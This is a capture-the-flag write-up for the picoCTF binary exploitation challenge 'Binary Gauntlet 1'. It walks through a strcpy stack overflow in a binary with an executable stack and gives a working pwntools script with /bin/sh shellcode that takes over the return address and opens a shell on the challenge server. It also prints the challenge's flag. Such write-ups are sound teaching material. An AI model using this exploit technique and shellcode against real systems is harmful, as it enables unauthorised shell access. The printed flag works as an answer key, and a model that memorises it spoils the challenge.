# picoCTF Binary Gauntlet 1 Write Up
## Details:Points: 30
Jeopardy style CTF
Category: Binary Exploitation
Comments: Okay, time for a challenge. gauntlet nc mercury.picoctf.net 19968
## Write up:
Opening up the file in a decompiler we see the main function:
```cint __cdecl main(int argc, const char **argv, const char **envp){  char dest[104];   char *s;
  s = (char *)malloc(1000uLL);  printf("%p\n", dest);  fflush(_bss_start);  fgets(s, 1000, stdin);  s[999] = 0;  printf(s);  fflush(_bss_start);  fgets(s, 1000, stdin);  s[999] = 0;  strcpy(dest, s);  return 0;}```
I noticed almost immediately that the vulnerability was a buffer overflow since we were copying a 999 character string to a 103 character string.
There were no references of the flag in the program so I knew that I would need to get shell access to the machine the program was running on. 
First I checked the security on the binary:
```checksec --file=gauntlet                             
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable      FILEPartial RELRO   No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   67) Symbols       No    0               3gauntlet```
I saw that NX was disabled which meant that the stack was executable. They gave us the address of dest which was a fairly big hint. 
At this point my plan of attack was to write the shellcode to dest and then do a buffer overflow so that I could overwrite where the return goes to.
I used cyclic from pwntools to generate a pattern and saw that after 120 characters we would need to write the address we wanted to go to. I then created the following python script:
```python# import pwn toolsfrom pwn import *
# open remote processr = remote('mercury.picoctf.net', 19968)
# get the line with the addressaddress = r.recvline() 
# turn address into an int so we can add later onaddress = int(address[:-1], 16)
# send arbitrary textr.send('boo\n')
# get the next liner.recvline()
# 64 bit shellcodeshellcode = b'\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05'
# 96 nops for the nop slideNOPS = b'\x90'*96
# craft payloadpayload = shellcode + NOPS + p64(address)
# send payloadr.send(payload + b'\n')
# get interactive moder.interactive()```
Running the script I got:
```[+] Opening connection to mercury.picoctf.net on port 19968: Done[*] Switching to interactive mode
$ lsflag.txtgauntletgauntlet_no_aslrxinet_startup.sh
$ cat flag.txt7504344981b9288c5669150ada84894e```
The flag was:
```7504344981b9288c5669150ada84894e```